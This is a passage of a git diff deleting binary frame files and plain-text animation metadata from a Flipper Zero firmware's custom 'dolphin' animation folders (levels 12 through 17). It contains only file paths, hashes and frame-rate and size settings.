b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_4.bm deleted file mode 100644 index d9162ace8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_5.bm deleted file mode 100644 index 1bdc58bea..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_6.bm deleted file mode 100644 index 9d5b43ab8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_7.bm deleted file mode 100644 index 7062b4f85..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_8.bm deleted file mode 100644 index 0554e5925..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_9.bm deleted file mode 100644 index 9eba5092b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_0.bm deleted file mode 100644 index 7854d8e47..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_1.bm deleted file mode 100644 index f20a712e9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_10.bm deleted file mode 100644 index 13e950166..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_2.bm deleted file mode 100644 index 0d88d1974..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_3.bm deleted file mode 100644 index 033574c2d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_4.bm deleted file mode 100644 index eef0be714..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_5.bm deleted file mode 100644 index 0e3bf9a4e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_6.bm deleted file mode 100644 index 83257bdab..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_7.bm deleted file mode 100644 index 88a5ba339..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_8.bm deleted file mode 100644 index 0f2f596fc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_9.bm deleted file mode 100644 index 1af38290c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/meta.txt deleted file mode 100644 index 68b987d49..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 11 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 -Active cycles: 0 -Frame rate: 8 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_0.bm deleted file mode 100644 index 7f40fb054..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_1.bm deleted file mode 100644 index 069a8b3e2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_2.bm deleted file mode 100644 index 90a0f1e9c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_3.bm deleted file mode 100644 index 7ba7b3416..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_4.bm deleted file mode 100644 index 3f361d826..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_5.bm deleted file mode 100644 index df8e72356..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_6.bm deleted file mode 100644 index c9115c22f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_7.bm deleted file mode 100644 index 8d3ca2734..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/meta.txt deleted file mode 100644 index c32dadf26..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_0.bm deleted file mode 100644 index a72140c01..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_1.bm deleted file mode 100644 index d2ba85300..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_10.bm deleted file mode 100644 index fe5ee96e0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_11.bm deleted file mode 100644 index 7aedeafcf..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_12.bm deleted file mode 100644 index 4ce276885..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_13.bm deleted file mode 100644 index cc3b4fdbd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_14.bm deleted file mode 100644 index a1a386181..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_15.bm deleted file mode 100644 index 44afd5239..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_16.bm deleted file mode 100644 index 1038d4d99..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_17.bm deleted file mode 100644 index 7f599fe2e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_18.bm deleted file mode 100644 index 6a00c6a38..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_19.bm deleted file mode 100644 index 26190e110..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_2.bm deleted file mode 100644 index ea3caf5cd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_20.bm deleted file mode 100644 index 33d97432d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_21.bm deleted file mode 100644 index a937fbdab..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_3.bm deleted file mode 100644 index 1290280dd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_4.bm deleted file mode 100644 index 34ea6ba91..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_5.bm deleted file mode 100644 index acc19fd38..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_6.bm deleted file mode 100644 index ec4d15f79..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_7.bm deleted file mode 100644 index fcb23840b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_8.bm deleted file mode 100644 index 34951570d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_9.bm deleted file mode 100644 index 33388e2c4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/meta.txt deleted file mode 100644 index 8e51d5271..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 22 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_0.bm deleted file mode 100644 index b151abf7e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_1.bm deleted file mode 100644 index 4a55193c6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_10.bm deleted file mode 100644 index 3e0c0f23b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_11.bm deleted file mode 100644 index ceaa10c7d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_12.bm deleted file mode 100644 index 0b16b0d2e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_13.bm deleted file mode 100644 index 59bc70a1b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_14.bm deleted file mode 100644 index 41acf65d0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_15.bm deleted file mode 100644 index 4fd3e1fcd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_16.bm deleted file mode 100644 index 38bac15f8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_17.bm deleted file mode 100644 index 956a5261f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_18.bm deleted file mode 100644 index 09df58097..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_19.bm deleted file mode 100644 index af37aa362..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_2.bm deleted file mode 100644 index 61d2da60e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_20.bm deleted file mode 100644 index 42a3449b3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_3.bm deleted file mode 100644 index cf580f3cd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_4.bm deleted file mode 100644 index dc2d7feea..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_5.bm deleted file mode 100644 index c0996aef2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_6.bm deleted file mode 100644 index 629d5a11e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_7.bm deleted file mode 100644 index 22d1ea122..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_8.bm deleted file mode 100644 index 64836c731..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_9.bm deleted file mode 100644 index fb2bb8c6e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/meta.txt deleted file mode 100644 index 9196e7efa..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 21 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_0.bm deleted file mode 100644 index ac77aaf49..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_1.bm deleted file mode 100644 index 9fe4f7db1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_10.bm deleted file mode 100644 index 6385961b8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_11.bm deleted file mode 100644 index c5f1dbc22..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_12.bm deleted file mode 100644 index 4b622712e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_13.bm deleted file mode 100644 index 674fa13b6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_14.bm deleted file mode 100644 index 3f132379f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_15.bm deleted file mode 100644 index 767b40477..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_16.bm deleted file mode 100644 index ec7bcbe16..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_17.bm deleted file mode 100644 index f7eb4ff3e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_18.bm deleted file mode 100644 index df9fc9174..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_19.bm deleted file mode 100644 index 927719276..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_2.bm deleted file mode 100644 index 5f009ae22..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_20.bm deleted file mode 100644 index 0acd1d295..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_21.bm deleted file mode 100644 index 6df602529..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_22.bm deleted file mode 100644 index a0b169531..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_23.bm deleted file mode 100644 index ae3d7270e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_24.bm deleted file mode 100644 index f2efad383..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_25.bm deleted file mode 100644 index 896c1df5f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_26.bm deleted file mode 100644 index 17a57a383..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_27.bm deleted file mode 100644 index d676828cd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_28.bm deleted file mode 100644 index 87e8f8f4e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_29.bm 